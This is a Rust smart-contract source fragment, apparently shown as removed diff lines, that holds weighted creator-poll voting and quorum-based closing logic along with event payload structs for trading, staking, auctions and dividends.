- - /// Casts or updates a weighted vote for a creator poll. - /// - /// The voter must authorize the call and must currently hold at least one liquid key for - /// the creator. Re-voting before expiry removes the previous weight and adds the voter's - /// current liquid key balance to the selected option. - pub fn cast_vote( - env: Env, - creator_id: Address, - voter: Address, - poll_id: u32, - option_index: u32, - ) -> Result<(), PollError> { - voter.require_auth(); - let mut poll = read_poll(&env, &creator_id, poll_id)?; - - if poll.closed { - return Err(PollError::AlreadyClosed); - } - if is_poll_expired(&env, &poll) { - return Err(PollError::PollExpired); - } - if option_index >= poll.options.len() { - return Err(PollError::InvalidOption); - } - - let delegate_key = constants::storage::delegate(&creator_id, &voter); - if env.storage().persistent().has(&delegate_key) { - return Err(PollError::Unauthorized); - } - - let balance_key = constants::storage::holder_balance_key(&creator_id, &voter); - let weight: u32 = env.storage().persistent().get(&balance_key).unwrap_or(0); - if weight == 0 { - return Err(PollError::NotAHolder); - } - - let vote_key = vote_storage_key(&creator_id, poll_id, &voter); - if let Some(previous_vote) = env - .storage() - .persistent() - .get::(&vote_key) - { - let previous_count = poll - .vote_counts - .get(previous_vote.option_index) - .ok_or(PollError::InvalidOption)?; - let updated_previous_count = previous_count - .checked_sub(previous_vote.weight) - .ok_or(PollError::Overflow)?; - poll.vote_counts - .set(previous_vote.option_index, updated_previous_count); - poll.total_weight = poll - .total_weight - .checked_sub(previous_vote.weight) - .ok_or(PollError::Overflow)?; - } - - let selected_count = poll - .vote_counts - .get(option_index) - .ok_or(PollError::InvalidOption)?; - let updated_selected_count = selected_count - .checked_add(weight) - .ok_or(PollError::Overflow)?; - poll.vote_counts.set(option_index, updated_selected_count); - poll.total_weight = poll - .total_weight - .checked_add(weight) - .ok_or(PollError::Overflow)?; - - env.storage() - .persistent() - .set(&poll_storage_key(&creator_id, poll_id), &poll); - env.storage().persistent().set( - &vote_key, - &PollVote { - option_index, - weight, - }, - ); - env.events().publish( - (POLL_VOTE_EVENT_NAME, creator_id.clone(), poll_id, voter), - (option_index, weight), - ); - - // Voting is a positive reputation signal for the creator whose key - // holders are exercising governance rights. - crate::accrue_reputation_on_governance_participation(&env, &creator_id) - .map_err(|_| PollError::Overflow)?; - - Ok(()) - } - - /// Returns the current weighted result for a creator poll. - pub fn get_poll_result( - env: Env, - creator_id: Address, - poll_id: u32, - ) -> Result { - let poll = read_poll(&env, &creator_id, poll_id)?; - let expired = is_poll_expired(&env, &poll); - Ok(PollResult { - question: poll.question, - options: poll.options, - vote_counts: poll.vote_counts, - total_weight: poll.total_weight, - expired, - closed: poll.closed, - }) - } - - /// Closes a creator poll if the configured quorum threshold has been reached. - /// - /// Computes participation as `total_voting_weight / circulating_supply` (in basis points) - /// against the creator's configured `quorum_bps`. If participation is below the quorum - /// threshold, the poll closes only once quorum escalation has no extensions left to give — - /// see [`poll_extensions_exhausted`]. Otherwise returns - /// `Err(PollError::QuorumNotReached)`. - /// - /// [`PollClosedEvent::quorum_reached`] always reports the real participation - /// outcome; a close that was only permitted because the extension budget ran - /// out is reported by [`PollClosedEvent::finalized_by_exhaustion`] instead. - pub fn close_poll( - env: Env, - creator_id: Address, - poll_id: u32, - ) -> Result { - let mut poll = read_poll(&env, &creator_id, poll_id)?; - - if poll.closed { - return Err(PollError::AlreadyClosed); - } - - let circulating_supply = read_creator_supply(&env, &creator_id); - let quorum_key = constants::storage::quorum_bps(&creator_id); - let quorum_bps: u32 = env.storage().persistent().get(&quorum_key).unwrap_or(0); - - // A creator with no configured quorum has no participation requirement, - // so the poll is always closable and has genuinely "reached" quorum. - let mut quorum_reached = true; - let mut finalized_by_exhaustion = false; - if quorum_bps > 0 { - // With no circulating supply, participation is undefined. A poll whose - // extensions are spent still has to close; one with budget left does not. - let participation_bps = if circulating_supply == 0 { - 0 - } else { - let total_weight_bps = (poll.total_weight as u128) - .checked_mul(10_000) - .ok_or(PollError::Overflow)?; - let required_bps = (circulating_supply as u128) - .checked_mul(quorum_bps as u128) - .ok_or(PollError::Overflow)?; - - if total_weight_bps >= required_bps { - 10_000 - } else { - ((total_weight_bps * 10_000) / required_bps) as u32 - } - }; - - quorum_reached = participation_bps >= 10_000; - if !quorum_reached { - finalized_by_exhaustion = poll_extensions_exhausted(&env, &creator_id, poll_id); - if !finalized_by_exhaustion { - return Err(PollError::QuorumNotReached); - } - } - } - - poll.closed = true; - write_poll(&env, &creator_id, poll_id, &poll); - - env.events().publish( - poll_closed_topics(&creator_id, poll_id), - PollClosedEvent { - creator_id: creator_id.clone(), - poll_id, - total_weight: poll.total_weight, - quorum_reached, - finalized_by_exhaustion, - ledger: env.ledger().sequence(), - }, - ); - - let expired = is_poll_expired(&env, &poll); - Ok(PollResult { - question: poll.question, - options: poll.options, - vote_counts: poll.vote_counts, - total_weight: poll.total_weight, - expired, - closed: true, - }) - } - - /// Alias for `close_poll`. - pub fn close_proposal( - env: Env, - creator_id: Address, - poll_id: u32, - ) -> Result { - Self::close_poll(env, creator_id, poll_id) - } -} - -/// Event name for batch buy completion. -pub const BATCH_BUY_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_buy"); - -/// Stable batch buy completed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BATCH_BUY_COMPLETED_EVENT_NAME, buyer)` -/// - data: `BatchBuyCompletedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BatchBuyCompletedEvent { - pub buyer: Address, - pub total_price_paid: i128, - pub order_count: u32, - pub ledger: u32, -} - -/// Shared batch buy completed event topics tuple. -pub fn batch_buy_completed_topics(buyer: &Address) -> (Symbol, Address) { - (BATCH_BUY_COMPLETED_EVENT_NAME, buyer.clone()) -} - -/// Event name for an atomic bundle purchase (Issue #1057). -pub const BUNDLE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("bundle"); - -/// Per-item line of a [`BundleExecutedEvent`]. -/// -/// `price_paid` is the gross cost of `amount` keys of `key_id`, i.e. the same -/// figure `KeysBoughtEvent::price_paid` reports for a stand-alone buy. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BundleItemBreakdown { - pub key_id: Address, - pub amount: u32, - pub price_paid: i128, -} - -/// Stable bundle-executed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BUNDLE_EXECUTED_EVENT_NAME, buyer)` -/// - data: `BundleExecutedEvent` -/// -/// Emitted exactly once, only after **every** item in the bundle succeeded. -/// `total_cost` always equals the sum of `items[*].price_paid`, and `items` -/// preserves the order the buyer submitted. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BundleExecutedEvent { - pub buyer: Address, - pub items: Vec, - pub total_cost: i128, - pub ledger: u32, -} - -/// Shared bundle executed event topics tuple. -pub fn bundle_executed_topics(buyer: &Address) -> (Symbol, Address) { - (BUNDLE_EXECUTED_EVENT_NAME, buyer.clone()) -} - -/// Event name for batch sell completion. -pub const BATCH_SELL_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_sell"); - -/// Stable batch sell completed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BATCH_SELL_COMPLETED_EVENT_NAME, seller)` -/// - data: `BatchSellCompletedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BatchSellCompletedEvent { - pub seller: Address, - pub orders: Vec<(Address, u32, i128)>, - pub total_proceeds: i128, - pub ledger: u32, -} - -/// Shared batch sell completed event topics tuple. -pub fn batch_sell_completed_topics(seller: &Address) -> (Symbol, Address) { - (BATCH_SELL_COMPLETED_EVENT_NAME, seller.clone()) -} - -/// Event name for bonding curve migration. -pub const CURVE_MIGRATED_EVENT_NAME: Symbol = symbol_short!("curve_mig"); - -/// Stable curve migrated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(CURVE_MIGRATED_EVENT_NAME, admin)` -/// - data: `CurveMigratedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CurveMigratedEvent { - pub admin: Address, - pub new_exponent: u32, - pub key_count: u32, - pub ledger: u32, -} - -/// Shared curve migrated event topics tuple. -pub fn curve_migrated_topics(admin: &Address) -> (Symbol, Address) { - (CURVE_MIGRATED_EVENT_NAME, admin.clone()) -} - -/// Event name for royalty configuration update. -pub const ROYALTY_UPDATED_EVENT_NAME: Symbol = symbol_short!("roy_upd"); - -/// Stable royalty updated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ROYALTY_UPDATED_EVENT_NAME, creator)` -/// - data: `RoyaltyUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct RoyaltyUpdatedEvent { - pub creator: Address, - pub buy_fee_bps: u32, - pub sell_fee_bps: u32, - pub ledger: u32, -} - -/// Shared royalty updated event topics tuple. -pub fn royalty_updated_topics(creator: &Address) -> (Symbol, Address) { - (ROYALTY_UPDATED_EVENT_NAME, creator.clone()) -} - -// --- Auction events --- - -/// Event name for auction purchase. -pub const AUCTION_PURCHASE_EVENT_NAME: Symbol = symbol_short!("auc_buy"); - -/// Stable auction purchase event payload. -/// -/// Event shape: -/// - topics: `(AUCTION_PURCHASE_EVENT_NAME, creator, buyer)` -/// - data: `AuctionPurchaseEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AuctionPurchaseEvent { - pub buyer: Address, - pub creator_id: Address, - pub quantity: u32, - pub price_paid: i128, - pub new_supply: u32, - pub auction_sold: u32, - pub ledger: u32, -} - -/// Shared auction purchase event topics tuple. -pub fn auction_purchase_topics(creator: &Address, buyer: &Address) -> (Symbol, Address, Address) { - (AUCTION_PURCHASE_EVENT_NAME, creator.clone(), buyer.clone()) -} - -/// Event name for auction configured. -pub const AUCTION_CONFIGURED_EVENT_NAME: Symbol = symbol_short!("auc_cfg"); - -/// Stable auction configured event payload. -/// -/// Event shape: -/// - topics: `(AUCTION_CONFIGURED_EVENT_NAME, creator)` -/// - data: `AuctionConfiguredEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AuctionConfiguredEvent { - pub creator_id: Address, - pub auction_supply: u32, - pub auction_price: i128, - pub ledger: u32, -} - -/// Shared auction configured event topics tuple. -pub fn auction_configured_topics(creator: &Address) -> (Symbol, Address) { - (AUCTION_CONFIGURED_EVENT_NAME, creator.clone()) -} - -/// Event name for a new staking position created via `stake_keys_locked`. -pub const STAKE_EVENT_NAME: Symbol = symbol_short!("stake"); - -/// Event name for a lock period extension via `stake_extend`. -pub const STAKE_EXTENDED_EVENT_NAME: Symbol = symbol_short!("stk_ext"); - -/// Event name for an early (pre-maturity) unstake via `early_unstake`. -pub const EARLY_UNSTAKE_EVENT_NAME: Symbol = symbol_short!("stk_chl"); - -/// Event name for a reward claim at/after maturity via `claim_stake_reward`. -pub const STAKE_REWARD_CLAIMED_EVENT_NAME: Symbol = symbol_short!("stk_clm"); - -/// Stable stake event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(STAKE_EVENT_NAME, creator_id, holder, stake_id)` -/// - data: `StakeEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeEvent { - /// Creator whose keys are staked. - pub creator_id: Address, - /// Staker that locked the keys. - pub holder: Address, - /// Sequential position id for the `(creator, holder)` pair. - pub stake_id: u32, - /// Number of keys locked. - pub amount: u32, - /// Ledger sequence at which the position matures. - pub unlock_ledger: u32, -} - -/// Shared stake event topics tuple. -pub fn stake_topics( - creator: &Address, - holder: &Address, - stake_id: u32, -) -> (Symbol, Address, Address, u32) { - (STAKE_EVENT_NAME, creator.clone(), holder.clone(), stake_id) -} - -/// Stable stake-extend event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(STAKE_EXTENDED_EVENT_NAME, creator_id, holder, stake_id)` -/// - data: `StakeExtendedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeExtendedEvent { - /// Creator whose keys are staked. - pub creator_id: Address, - /// Staker that locked the keys. - pub holder: Address, - /// Extended position id. - pub stake_id: u32, - /// New maturity ledger sequence after the extension. - pub unlock_ledger: u32, - /// Additional ledgers appended to the lock period. - pub additional_ledgers: u32, -} - -/// Shared stake-extend event topics tuple. -pub fn stake_extended_topics( - creator: &Address, - holder: &Address, - stake_id: u32, -) -> (Symbol, Address, Address, u32) { - ( - STAKE_EXTENDED_EVENT_NAME, - creator.clone(), - holder.clone(), - stake_id, - ) -} - -/// Stable early-unstake event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(EARLY_UNSTAKE_EVENT_NAME, creator_id, holder, stake_id)` -/// - data: `EarlyUnstakeEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct EarlyUnstakeEvent { - /// Creator whose keys were staked. - pub creator_id: Address, - /// Staker that closed the position. - pub holder: Address, - /// Closed position id. - pub stake_id: u32, - /// Keys released back to the holder's liquid balance. - pub amount: u32, - /// Pro-rata reward entitlement removed from the pool. - pub forgone_reward: i128, - /// Penalty retained in the pool. - pub penalty: i128, - /// Ledger sequence at which the position was closed. - pub ledger: u32, -} - -/// Shared early-unstake event topics tuple. -pub fn early_unstake_topics( - creator: &Address, - holder: &Address, - stake_id: u32, -) -> (Symbol, Address, Address, u32) { - ( - EARLY_UNSTAKE_EVENT_NAME, - creator.clone(), - holder.clone(), - stake_id, - ) -} - -/// Stable stake-reward-claim event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(STAKE_REWARD_CLAIMED_EVENT_NAME, creator_id, holder, stake_id)` -/// - data: `StakeRewardClaimedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeRewardClaimedEvent { - /// Creator whose keys were staked. - pub creator_id: Address, - /// Staker that closed the position. - pub holder: Address, - /// Closed position id. - pub stake_id: u32, - /// Keys released back to the holder's liquid balance. - pub amount: u32, - /// Reward paid out from the pool. - pub reward: i128, - /// Ledger sequence at which the position matured. - pub unlock_ledger: u32, - /// Ledger sequence at which the reward was claimed. - pub ledger: u32, -} - -/// Shared stake-reward-claim event topics tuple. -pub fn stake_reward_claimed_topics( - creator: &Address, - holder: &Address, - stake_id: u32, -) -> (Symbol, Address, Address, u32) { - ( - STAKE_REWARD_CLAIMED_EVENT_NAME, - creator.clone(), - holder.clone(), - stake_id, - ) -} - -// ============================================================================ -// Launch Penalty (#798) -// ============================================================================ - -/// Event name for launch penalty applied on sell. -pub const LAUNCH_PENALTY_APPLIED_EVENT_NAME: Symbol = symbol_short!("lnch_pnl"); - -/// Stable launch penalty applied event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(LAUNCH_PENALTY_APPLIED_EVENT_NAME, creator, seller)` -/// - data: `LaunchPenaltyAppliedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LaunchPenaltyAppliedEvent { - /// Address of the creator whose key was sold. - pub creator_id: Address, - /// Address of the seller. - pub seller: Address, - /// Launch penalty basis points applied. - pub penalty_bps: u32, - /// Penalty amount deducted from proceeds. - pub penalty_amount: i128, - /// Ledger sequence at the time of the sale. - pub ledger: u32, -} - -/// Shared launch penalty applied event topics tuple. -pub fn launch_penalty_applied_topics( - creator: &Address, - seller: &Address, -) -> (Symbol, Address, Address) { - ( - LAUNCH_PENALTY_APPLIED_EVENT_NAME, - creator.clone(), - seller.clone(), - ) -} - -/// Event name for set_launch_penalty. -pub const LAUNCH_PENALTY_SET_EVENT_NAME: Symbol = symbol_short!("lnch_set"); - -/// Stable set launch penalty event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(LAUNCH_PENALTY_SET_EVENT_NAME, creator)` -/// - data: `LaunchPenaltySetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LaunchPenaltySetEvent { - /// Address of the creator. - pub creator_id: Address, - /// New penalty basis points. - pub penalty_bps: u32, - /// Ledger sequence at the time of the update. - pub ledger: u32, -} - -/// Shared set launch penalty event topics tuple. -pub fn launch_penalty_set_topics(creator: &Address) -> (Symbol, Address) { - (LAUNCH_PENALTY_SET_EVENT_NAME, creator.clone()) -} - -// ============================================================================ -// Per-wallet buy cooldown -// ============================================================================ - -/// Event name for a buy rejected by the per-wallet cooldown guard. -pub const COOLDOWN_BLOCKED_EVENT_NAME: Symbol = symbol_short!("cd_blk"); - -/// Stable cooldown-blocked event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(COOLDOWN_BLOCKED_EVENT_NAME, creator_id, wallet)` -/// - data: `CooldownBlockedEvent` -/// -/// Emitted inside [`CreatorKeysContract::buy_key`] when the per-wallet -/// cooldown period has not elapsed since the buyer's last purchase. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CooldownBlockedEvent { - /// Wallet whose buy was rejected. - pub wallet: Address, - /// Creator whose keys the buyer attempted to purchase. - pub creator_id: Address, - /// Number of ledgers remaining before the cooldown expires. - pub ledgers_remaining: u32, -} - -/// Shared cooldown blocked event topics tuple. -pub fn cooldown_blocked_topics(creator: &Address, wallet: &Address) -> (Symbol, Address, Address) { - (COOLDOWN_BLOCKED_EVENT_NAME, creator.clone(), wallet.clone()) -} - -// ============================================================================ -// Co-creator removal (#791) -// ============================================================================ - -/// Event name for a co-creator being removed. -pub const CO_CREATOR_REMOVED_EVENT_NAME: Symbol = symbol_short!("cc_rm"); - -/// Stable co-creator removed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(CO_CREATOR_REMOVED_EVENT_NAME, creator_id, co_creator)` -/// - data: `CoCreatorRemovedEvent` -/// -/// Emitted inside `remove_co_creator` when a creator removes their co-creator split. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CoCreatorRemovedEvent { - /// Address of the creator whose co-creator was removed. - pub creator_id: Address, - /// Address of the co-creator that was removed. - pub co_creator: Address, -} - -/// Shared co-creator removed event topics tuple. -pub fn co_creator_removed_topics( - creator_id: &Address, - co_creator: &Address, -) -> (Symbol, Address, Address) { - ( - CO_CREATOR_REMOVED_EVENT_NAME, - creator_id.clone(), - co_creator.clone(), - ) -} - -/// Event name for dividend reinvestment. -pub const DIVIDEND_REINVESTED_EVENT_NAME: Symbol = symbol_short!("div_reinv"); - -/// Stable dividend reinvested event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(DIVIDEND_REINVESTED_EVENT_NAME, key_id, wallet)` -/// - data: `DividendReinvestedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DividendReinvestedEvent { - pub wallet: Address, - pub key_id: Address, - pub keys_bought: u32, - pub remainder_returned: i128, -} - -/// Shared dividend reinvested event topics tuple. -pub fn dividend_reinvested_topics( - key_id: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - DIVIDEND_REINVESTED_EVENT_NAME, - key_id.clone(), - wallet.clone(), - ) -} - -// ============================================================================ -// Pre-launch auction configuration (#790) -// ============================================================================ - -/// Event name for an auction being cancelled. -pub const AUCTION_CANCELLED_EVENT_NAME: Symbol = symbol_short!("auc_cxl"); - -/// Stable auction cancelled event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(AUCTION_CANCELLED_EVENT_NAME, creator_id)` -/// - data: `AuctionCancelledEvent` -/// -/// Emitted inside `cancel_auction` when a creator cancels their pre-launch auction. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AuctionCancelledEvent { - /// Address of the creator whose auction was cancelled. - pub creator_id: Address, -} - -/// Shared auction cancelled event topics tuple. -pub fn auction_cancelled_topics(creator: &Address) -> (Symbol, Address) { - (AUCTION_CANCELLED_EVENT_NAME, creator.clone()) -} - -// --- Key deprecation and holder buyback events (#834) --- - -/// Event name emitted when a creator deprecates their key. -pub const KEY_DEPRECATED_EVENT_NAME: Symbol = symbol_short!("key_dep"); - -/// Event name emitted when a holder redeems keys on a deprecated key. -pub const KEYS_REDEEMED_EVENT_NAME: Symbol = symbol_short!("key_rdm"); - -/// Stable field order for the key_deprecated event payload. -pub const KEY_DEPRECATED_DATA_FIELDS: [&str; 5] = [ - "creator", - "buyback_price_per_key", - "circulating_supply", - "total_escrow", - "ledger", -]; - -/// Stable field order for the keys_redeemed event payload. -pub const KEYS_REDEEMED_DATA_FIELDS: [&str; 6] = [ - "creator", - "holder", - "quantity", - "payout", - "new_supply", - "ledger", -]; - -/// Stable key-deprecated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(KEY_DEPRECATED_EVENT_NAME, creator)` -/// - data: `KeyDeprecatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeyDeprecatedEvent { - /// Creator who deprecated their key. - pub creator: Address, - /// Fixed XLM payout per key for all redemptions. - pub buyback_price_per_key: i128, - /// Circulating supply at the time of deprecation. - pub circulating_supply: u32, - /// Total XLM escrowed (`circulating_supply * buyback_price_per_key`). - pub total_escrow: i128, - /// Human-readable reason supplied by the creator (#973). - pub reason: String, - /// Optional successor key address (#973). `None` when not designated. - pub successor_key_id: Option
, - /// Ledger sequence number at the time of deprecation. - pub ledger: u32, -} - -/// Shared key-deprecated event topics tuple. -pub fn key_deprecated_topics(creator: &Address) -> (Symbol, Address) { - (KEY_DEPRECATED_EVENT_NAME, creator.clone()) -} - -/// Stable keys-redeemed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(KEYS_REDEEMED_EVENT_NAME, creator, holder)` -/// - data: `KeysRedeemedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysRedeemedEvent { - /// Creator whose deprecated key is being redeemed. - pub creator: Address, - /// Holder who redeemed their keys. - pub holder: Address, - /// Number of keys redeemed by the holder. - pub quantity: u32, - /// Total XLM payout transferred to the holder. - pub payout: i128, - /// Total key supply for the creator after this redemption. - pub new_supply: u32, - /// Ledger sequence number at the time of redemption. - pub ledger: u32, -} - -/// Shared keys-redeemed event topics tuple. -pub fn keys_redeemed_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { - (KEYS_REDEEMED_EVENT_NAME, creator.clone(), holder.clone()) -} - -// ============================================================================ -// Early Unstake Penalty -// ============================================================================ - -/// Event name for early unstake with forfeited penalty. -pub const EARLY_UNSTAKE_PENALTY_EVENT_NAME: Symbol = symbol_short!("erl_unst"); - -/// Stable early unstake event payload. -/// -/// Event shape: -/// - topics: `(EARLY_UNSTAKE_PENALTY_EVENT_NAME, key_id, wallet)` -/// - data: `EarlyUnstakePenaltyEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct EarlyUnstakePenaltyEvent { - pub wallet: Address, - pub key_id: Address, - pub returned_quantity: u32, - pub penalty_quantity: u32, -} - -/// Shared early unstake event topics tuple. -pub fn early_unstake_penalty_topics( - key_id: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - EARLY_UNSTAKE_PENALTY_EVENT_NAME, - key_id.clone(), - wallet.clone(), - ) -} - -/// Event name for a satisfied slippage check on buy or sell. -pub const SLIPPAGE_CHECK_PASSED_EVENT_NAME: Symbol = symbol_short!("slp_ok"); - -/// Emitted when a buy or sell with a non-None slippage bound passes the -/// price/proceeds check, giving downstream indexers visibility into slippage -/// guard behavior. -/// -/// Event shape: -/// - topics: `(SLIPPAGE_CHECK_PASSED_EVENT_NAME, creator)` -/// - data: `SlippageCheckPassedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SlippageCheckPassedEvent { - pub creator_id: Address, - pub actual_amount: i128, - pub bound: i128, - pub ledger: u32, -} - -/// Shared slippage-check-passed event topics tuple. -pub fn slippage_check_passed_topics(creator: &Address) -> (Symbol, Address) { - (SLIPPAGE_CHECK_PASSED_EVENT_NAME, creator.clone()) -} - -/// Event name for a bonding-curve swap rejected by its price-impact guard. -pub const SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME: Symbol = symbol_short!("swap_slp"); - -/// Emitted when a bonding-curve `swap` is rejected because the computed -/// price impact exceeds the caller's `max_slippage_bps` tolerance. The -/// payload carries both the actual impact and the requested ceiling so -/// clients and indexers can surface the exact breach magnitude. -/// -/// Event shape: -/// - topics: `(SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME, creator)` -/// - data: `SwapSlippageExceededEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SwapSlippageExceededEvent { - /// Creator whose bonding curve was being swapped against. - pub creator_id: Address, - /// Computed price impact of the rejected swap, in basis points. - pub actual_bps: u32, - /// Caller-supplied slippage ceiling that the impact breached. - pub max_bps: u32, - /// Ledger sequence at which the breach was detected. - pub ledger: u32, -} - -/// Shared swap-slippage-exceeded event topics tuple. -pub fn swap_slippage_exceeded_topics(creator: &Address) -> (Symbol, Address) { - (SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME, creator.clone()) -} - -// --- Max buy quantity per transaction (#828) --- - -/// Event name emitted when the creator updates the max buy quantity per transaction. -pub const MAX_BUY_QUANTITY_UPDATED_EVENT_NAME: Symbol = symbol_short!("mbq_upd"); - -/// Stable max-buy-quantity-updated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(MAX_BUY_QUANTITY_UPDATED_EVENT_NAME, creator_id)` -/// - data: `MaxBuyQuantityUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct MaxBuyQuantityUpdatedEvent { - /// Address of the creator whose limit was changed. - pub creator_id: Address, - /// New per-transaction buy quantity limit. - pub max_qty: u32, - /// Ledger sequence at the time of the update. - pub ledger: u32, -} - -/// Shared max-buy-quantity-updated event topics tuple. -pub fn max_buy_quantity_updated_topics(creator: &Address) -> (Symbol, Address) { - (MAX_BUY_QUANTITY_UPDATED_EVENT_NAME, creator.clone()) -} - -// --- Batch transfer keys (#799) --- - -/// Event name emitted when a holder transfers keys to multiple recipients in a -/// single `batch_transfer_keys` call. -pub const BATCH_TRANSFER_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_xfer"); - -/// Stable field order for batch transfer completed event payloads. -pub const BATCH_TRANSFER_COMPLETED_DATA_FIELDS: [&str; 5] = [ - "creator_id", - "from", - "transfers", - "total_transferred", - "ledger", -]; - -/// Stable batch transfer completed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BATCH_TRANSFER_COMPLETED_EVENT_NAME, creator_id, from)` -/// - data: `BatchTransferCompletedEvent` -/// -/// `transfers` is the ordered list of `(recipient, quantity)` pairs processed -/// in the batch. `total_transferred` is the sum of all quantities. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BatchTransferCompletedEvent { - /// Address of the creator whose key is being transferred. - pub creator_id: Address, - /// Holder sending the keys. - pub from: Address, - /// Ordered `(recipient, quantity)` pairs processed in the batch. - pub transfers: Vec<(Address, u32)>, - /// Sum of all quantities transferred in the batch. - pub total_transferred: u32, - /// Ledger sequence at the time of the transfer. - pub ledger: u32, -} - -/// Shared batch transfer completed event topics tuple. -pub fn batch_transfer_completed_topics( - creator: &Address, - from: &Address, -) -> (Symbol, Address, Address) { - ( - BATCH_TRANSFER_COMPLETED_EVENT_NAME, - creator.clone(), - from.clone(), - ) -} - -/// Event name for a price-oracle read. -pub const PRICE_QUERIED_EVENT_NAME: Symbol = symbol_short!("pri_qry"); - -/// Stable price-queried event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(PRICE_QUERIED_EVENT_NAME, caller)` -/// - data: `PriceQueriedEvent` -/// -/// Emitted on every successful price-oracle read (`get_price` / -/// `get_twap_price`), carrying the calling contract's address and the returned -/// price. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PriceQueriedEvent { - /// Contract that invoked the oracle entrypoint. - pub caller: Address, - /// Creator whose key's price was read. - pub creator: Address, - /// Price returned to the caller. - pub price: i128, -} - -/// Shared price-queried event topics tuple. -pub fn price_queried_topics(caller: &Address) -> (Symbol, Address) { - (PRICE_QUERIED_EVENT_NAME, caller.clone()) -} - -// ============================================================================ -// Claimable dividends (issue #857) -// ============================================================================ - -/// Event name for a per-holder dividend credit written at distribution time. -pub const DIVIDEND_CREDITED_EVENT_NAME: Symbol = symbol_short!("div_crd"); - -/// Stable field order for `dividend_credited` payloads. -pub const DIVIDEND_CREDITED_DATA_FIELDS: [&str; 3] = ["creator", "holder", "amount"]; - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DividendCreditedEvent { - pub creator: Address, - pub holder: Address, - pub amount: i128, -} - -pub fn dividend_credited_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { - ( - DIVIDEND_CREDITED_EVENT_NAME, - creator.clone(), - holder.clone(), - ) -} - -// ============================================================================ - -// --- Pause state change (#889) --- - -pub const PAUSE_STATE_CHANGED_EVENT_NAME: Symbol = symbol_short!("pause_chg"); - -/// Emitted by `pause` and `unpause` with the new state and the calling admin. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PauseStateChangedEvent { - pub paused: bool, - pub caller: Address, -} - -pub fn pause_state_changed_topics() -> (Symbol,) { - (PAUSE_STATE_CHANGED_EVENT_NAME,) -} - -// --- Supply milestone crossings (#887) --- - -pub const MILESTONE_CROSSED_EVENT_NAME: Symbol = symbol_short!("mile_x"); -pub const MILESTONE_DIRECTION_UP: Symbol = symbol_short!("up"); -pub const MILESTONE_DIRECTION_DOWN: Symbol = symbol_short!("down"); - -/// Emitted once per configured supply milestone crossed by a trade. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct MilestoneCrossedEvent { - pub key_id: Address, - /// 1-based position of the crossed milestone in the configured list. - pub tier: u32, - pub direction: Symbol, - /// Supply after the trade. - pub supply: u32, -} - -pub fn milestone_crossed_topics(key_id: &Address) -> (Symbol, Address) { - (MILESTONE_CROSSED_EVENT_NAME, key_id.clone()) -} - -// --- Supply milestone fee reduction 